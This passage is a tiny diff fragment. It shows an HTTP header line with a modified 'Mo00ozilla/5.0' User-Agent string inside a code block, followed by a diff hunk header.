```
User-Agent: Mo00ozilla/5.0"
```
@@ -200,7 +202,7 @@ User-Agent: Mo00ozilla/5.0